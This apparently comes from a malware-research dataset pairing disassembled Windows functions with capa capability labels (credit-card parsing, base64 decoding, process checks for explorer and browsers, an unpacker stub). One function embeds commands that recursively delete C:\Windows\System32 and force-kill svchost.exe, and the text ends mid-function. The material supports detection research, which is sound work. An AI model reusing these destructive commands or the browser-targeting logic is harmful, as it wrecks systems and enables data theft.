joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180010a80
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov ecx, dword [rcx + 0x7c]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x180010c2a
cmp ecx, 0x7c
je 0x180010c2a
cmp ecx, 0x29
jne 0x180010ac5
cmp dword [rdi + 0x1c], 0
jne 0x180010c2a
test dword [rdi + 0x80], 0x10000000
je 0x180010c35
cmp ecx, 0x2e
jne 0x180010ae0
lea rcx, [rdi + 0x40]
call fcn.1800102f4
mov rcx, rdi
call fcn.1800153a8
jmp 0x180010c16
cmp ecx, 0x5c
jne 0x180010b43
mov rcx, rdi
call fcn.1800153a8
mov eax, dword [rdi + 0x80]
and eax, 0x80
je 0x180010b16
cmp byte [rdi + 0x78], 0x62
jne 0x180010b16
lea rcx, [rdi + 0x40]
call fcn.180010884
mov rcx, rdi
call fcn.1800153a8
jmp 0x180010c1e
test eax, eax
je 0x180010b36
cmp byte [rdi + 0x78], 0x42
jne 0x180010b36
lea rbx, [rdi + 0x40]
mov rcx, rbx
call fcn.180010884
mov rcx, rbx
call fcn.180015310
jmp 0x180010b09
mov rcx, rdi
call fcn.180010d98
jmp 0x180010c16
cmp ecx, 0x5b
jne 0x180010b6e
mov rcx, rdi
call fcn.1800153a8
mov rcx, rdi
call fcn.1800115b8
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.180013738
jmp 0x180010c16
cmp ecx, 0x28
jne 0x180010b98
mov rcx, rdi
call fcn.1800153a8
mov rcx, rdi
call fcn.180016800
mov edx, 0x29
mov rcx, rdi
lea r8d, [rdx - 0x24]
mov bl, al
call fcn.180013738
jmp 0x180010c12
cmp ecx, 0x5e
jne 0x180010bab
lea rcx, [rdi + 0x40]
call fcn.1800100c8
jmp 0x180010b09
cmp ecx, 0x24
jne 0x180010bbe
lea rcx, [rdi + 0x40]
call fcn.180010380
jmp 0x180010b09
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x180010c5f
cmp ecx, 0x3f
je 0x180010c5f
cmp ecx, 0x7b
je 0x180010c5f
cmp ecx, 0x7d
jne 0x180010bed
test dword [rdi + 0x80], 0x10000000
je 0x180010c43
cmp ecx, 0x5d
jne 0x180010bfe
test dword [rdi + 0x80], 0x10000000
je 0x180010c51
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.1800100d4
mov rcx, rdi
call fcn.1800153a8
test bl, bl
je 0x180010c1e
mov rcx, rdi
call fcn.180015564
mov ecx, dword [rdi + 0x7c]
mov al, 1
mov bl, al
jmp 0x180010a94
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 5
mov rcx, rdi
call fcn.1800136d8
int3
mov edx, 6
mov rcx, rdi
call fcn.1800136d8
int3
mov edx, 4
mov rcx, rdi
call fcn.1800136d8
int3
mov edx, 0xa
mov rcx, rdi
call fcn.1800136d8
int3
Function at 0x1800169b0
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rbx, qword [r8]
mov rdi, rdx
mov rsi, rcx
test rbx, rbx
jne 0x1800169ec
lea rdx, [0x18002f48e]
call fcn.1800010e8
jmp 0x180016b1b
xor ebp, ebp
mov rax, rbx
lea r12d, [rbp + 1]
and eax, 3
jne 0x180016a06
cmp byte [rbx + rdx - 1], 0x3d
je 0x180016a06
xor r14d, r14d
jmp 0x180016a16
mov r14, r12
cmp rax, 2
ja 0x180016a1b
cmp byte [rbx + rdx - 2], 0x3d
jne 0x180016a1b
xor r15d, r15d
jmp 0x180016a1e
mov r15, r12
sub rbx, r14
lea rcx, [rsp + 0x20]
xor r8d, r8d
and rbx, 0xfffffffffffffffc
mov rdx, rbx
shr rdx, 2
lea rax, [r15 + rdx*2]
add rdx, rax
add rdx, r14
call fcn.18000e258
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.180007bfc
lea r11, [0x1800309a0]
mov r9, rax
test rbx, rbx
je 0x180016ac1
lea r8, [rbx - 1]
lea r10, [rdi + 1]
shr r8, 2
add r8, r12
movzx eax, byte [r10]
movzx ecx, byte [r10 - 1]
lea r10, [r10 + 4]
mov edx, dword [r11 + rcx*4]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 3]
shl edx, 6
or edx, dword [r11 + rax*4]
movzx eax, byte [r10 - 2]
shl edx, 6
or edx, dword [r11 + rax*4]
mov eax, edx
sar eax, 0x10
mov byte [r9 + rbp], al
add rbp, r12
mov eax, edx
sar eax, 8
mov byte [r9 + rbp], al
add rbp, r12
mov byte [r9 + rbp], dl
add rbp, r12
sub r8, r12
jne 0x180016a6d
test r14, r14
je 0x180016b04
movzx eax, byte [rbx + rdi]
mov edx, dword [r11 + rax*4]
movzx eax, byte [rbx + rdi + 1]
shl edx, 6
or edx, dword [r11 + rax*4]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
mov byte [r9 + rbp], al
test r15, r15
je 0x180016b04
movzx eax, byte [rbx + rdi + 2]
sar edx, 8
mov ecx, dword [r11 + rax*4]
shl ecx, 6
sar ecx, 8
or cl, dl
mov byte [r9 + rbp + 1], cl
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.180007a40
lea rcx, [rsp + 0x20]
call fcn.1800011bc
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
mov rax, rsi
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
Function at 0x18001a084
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x140
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.18000687c
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [0x18003e708]
lea rcx, [rsp + 0x30]
call qword [0x18003e710]
lea rdx, str.explorer.exe
mov rcx, rax
mov rbx, rax
call qword [0x18003e788]
test eax, eax
jne 0x18001a106
call fcn.180006118
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r9, [0x18002f48e]
lea r8, [0x18000f8cc]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.180006ee8
lea rdx, str.firefox.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a124
call fcn.180006118
call fcn.180017e40
lea rdx, str.chrome.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a142
call fcn.180006118
call fcn.180008070
lea rdx, str.msedge.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x18001a160
call fcn.180006118
call fcn.180008128
xor eax, eax
add rsp, 0x140
pop rbx
ret
Function at 0x1400578d0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400578dd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400578ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400578d5
lea eax, [rcx + 1]
jmp 0x1400578fb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005790e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400578f4
sub eax, 3
jb 0x14005792e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005797d
sar eax, 1
movsxd rbp, eax
jb 0x140057964
jmp 0x14005793c
add ebx, ebx
jne 0x14005793a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140057964
inc ecx
add ebx, ebx
jne 0x14005794a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140057964
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14005795d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14005794c
add ecx, 2
jmp 0x140057969
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140057892
jmp 0x1400578dd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2b000
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400579c9
cmp rsi, rcx
jae 0x1400579d1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400579b0
cmp al, 0x8f
ja 0x1400579b0
cmp byte [rsi - 2], 0xf
je 0x1400579b6
sub al, 0xe8
cmp al, 1
ja 0x14005799a
cmp rsi, rcx
jae 0x1400579d1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400579a0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400579d1
lodsb al, byte [rsi]
jmp 0x1400579b0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x55000]
mov eax, dword [rdi]
or eax, eax
je 0x140057a3a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x64bcc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400579de
jns 0x140057a13
movzx rdx, word [rdi]
add rdi, 2
jmp 0x140057a1d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140057a34
mov qword [rbx], rax
add rbx, 8
jmp 0x1400579fe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140057a74
cmp al, 0xef
ja 0x140057a66
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140057a46
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140057a55
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x23f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140057ac8
sub rsp, 0xffffffffffffff80
jmp 0x14000c540
Function at 0x140016620
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.14003ec80
sub rsp, rax
mov rax, qword [0x140055040]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov edi, 0x28
mov word [rsp + 0x30], bp
test al, al
je 0x1400166e2
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.14003280c
cmp rax, 1
jne 0x14001673e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x1400166bf
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x1400166b3
cmp rcx, 1
jb 0x14001673e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140016680
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140016713
lea rcx, [rsp + 0x80]
call fcn.140033d4c
jmp 0x140016715
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.140023dd0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140027500
int3

Function at 0x140016750
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140055040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor ebp, ebp
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], bp
lea rbx, [rsp + 0x30]
mov edi, 0x28
mov al, 0x4e
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.14003280c
cmp rax, 1
jne 0x140016835
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x1400167dc
nop
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x1400167d0
cmp rcx, 1
jb 0x140016835
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400167a0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140023dd0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140027500
int3
Function at 0x1400247a8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400247f2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400247f2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400247f2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400247f2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400247f2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400247f4
xor al, al
add rsp, 0x28
ret

Function at 0x14002765c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400276cb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400276cb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400276cb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400276cb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400276cb
cmp dword [rcx + 0x84], 0xe
jbe 0x1400276cb
cmp dword [rcx + 0xf8], 0
je 0x1400276cb
mov ecx, ebx
call fcn.14002777c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140027558
nop
cmp dword [rbp + 0x20], 0
je 0x140027719
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140027724
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002765c

Function at 0x140027860
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400276cb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400276cb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400276cb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400276cb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400276cb
cmp dword [rcx + 0x84], 0xe
jbe 0x1400276cb
cmp dword [rcx + 0xf8], 0
je 0x1400276cb
mov ecx, ebx
call fcn.14002777c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140027558
nop
cmp dword [rbp + 0x20], 0
je 0x140027719
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140027724
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002765c
Function at 0x140038760
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400387e7
mov rsi, rbx
cmp word [rax], bp
je 0x1400387a6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140038790
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14003878c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140036368
mov rdi, rax
test rax, rax
je 0x1400387d4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14003f2e0
mov rbp, rdi
xor ecx, ecx
call fcn.1400343b8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003aeec
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003af02
mov al, 1
jmp 0x14003af62
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003af13
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003af60
mov ecx, dword [rcx + 0x18]
nop
call fcn.140038f04
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003af60
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003af60
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003af60
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003af62
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14003eb90
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003ebb8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14003ebb8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000720c
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.14000719c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021170]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400205b8]
jmp 0x140007248
cmp qword [rbx + 0x18], rdi
je 0x14000724f
mov rbx, qword [rbx]
test rbx, rbx
jne 0x14000723f
jmp 0x140007269
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x1400205b8]
call fcn.140011c68
lea rcx, [0x140021170]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
shl esp, 0x27
pop rsi
in al, dx
sbb dword [rcx - 0x7e67d96], ebp
pop rsp
movsd dword [rdi], dword [rsi]
xor eax, 0xd2be784e
xor dl, byte [rdx - 0x75eb1f32]
cli
rcl dword [rdi], cl
pop rdx
mov gs, word [rbx - 0x6d5ae11f]
cmpsd dword [rsi], dword [rdi]
invalid
test al, 0x2a
sbb byte [rsi - 0x24], bh
sub ah, bh
insb byte [rdi], dx
test ebx, edx
mov cl, 0x27
push rdi
call 0xce1d2043
pop rbx
int 0x7a
test dword ss:[rbp + 0x18b5ae0a], esi
mov ch, 0xa
scasb al, byte [rdi]
mov ch, 0x18
mov ch, 0xa
scasb al, byte [rdi]
mov ch, 0x18
invalid
mov bh, 0xcb
xchg edi, eax
fsub st(3)
sahf
xor dword [rbx - 0x3b81d8d8], 0x394e211b
sbb esp, dword [rcx]
cmp qword [rdi + 0x62], r14
jb 0x14003f5e7
invalid
push rbx
mov r12b, 0x5d
sub dword [rsi + 0xf294d93], eax
invalid
xchg byte [rbx - 0x38f0d6b3], dl
jmp qword [rdx + 0x1adc47cd]
invalid
jmp 0x191bb32dd
push rcx
push 0x47
jo 0x14003f66b
outsd dx, dword [rsi]
scasd eax, dword [rdi]
scasd eax, dword [rdi]
out dx, al
fistp word [rsp + rdx*4]
enter 0xffffffffffffc092, 0xffffffffffffffdb
push rcx
sbb byte [edx - 0x1a512692], sil
cmp ah, byte [rax]
jo 0x14003f70e
push 0x6c
insb byte [rdi], dx
sal dword [rbx], 0xde
xor ebx, esi
or eax, 0x57330e40
mov cs, ecx
sub al, byte [rcx - 0x1b641a4d]
xor dword [rbx - 0x7e1b641b], 0xd19c3b2d
hlt
or al, 0x51
sahf
pushfq
in eax, 0x9b
in al, 0x81
sub eax, 0xf4d19c3b
or al, 0x51
sahf
pushfq
or al, 0x27
mov dl, 0xb0
scasb al, byte [rdi]
in eax, 0x38
jrcxz 0x14003f682
ja 0x14003f6a3
invalid
push rbp
cmp bh, byte [rbp - 0x5a]
xchg ebp, eax
loopne 0x14003f76c
xchg ebx, eax
in al, 0xb7
mov dil, 0xf0
outsb dx, byte [rsi]
cli
add dword [rsi - 0x22], edx
push 0x5d
invalid
in eax, dx
invalid
Function at 0x14003173c
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x1400317b4
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x1400317b4
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x1400317b4
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x1400317a8
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x1400317c6
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x140031796
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x1400317b6

Function at 0x140033300
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003334a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003334a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003334a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003334a
cmp dword [rcx + 0x84], 0xe
jbe 0x14003334a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003334c
xor al, al
add rsp, 0x28
ret

Function at 0x14003c094
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003bdf8

Function at 0x140045fb0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140045fd8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140045fd8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001000
Capabilities:
Execute command
Self delete

Disassembly:
sub rsp, 0x28
lea rcx, str.del__f__s__q_C:WindowsSystem32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_svchost.exe__T
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001908
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001952
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001952
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001952
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001952
cmp dword [rcx + 0x84], 0xe
jbe 0x140001952
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001954
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4d9a30
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4da432
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fe108]
test eax, eax
je 0x2fc4da4ca
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fe110]
mov qword [rbp - 8], rax
jmp 0x2fc4da4ae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4da4a2
cmp qword [rbp - 0x10], 0
je 0x2fc4da4a2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4da468
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4da4cb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4da5d0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4da5f8
mov eax, 0
jmp 0x2fc4da646
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
